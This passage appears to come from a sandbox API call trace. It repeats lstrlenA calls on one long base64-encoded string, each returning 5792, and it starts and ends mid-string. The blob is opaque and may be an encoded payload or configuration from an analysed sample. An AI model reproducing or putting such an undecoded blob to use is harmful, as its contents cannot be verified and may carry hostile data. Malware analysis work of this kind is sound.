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") returned 5792 [0128.356] lstrlenA (lpString="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") returned 5792 [0128.356] lstrlenA (lpString="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") returned 5792 [0128.356] lstrlenA 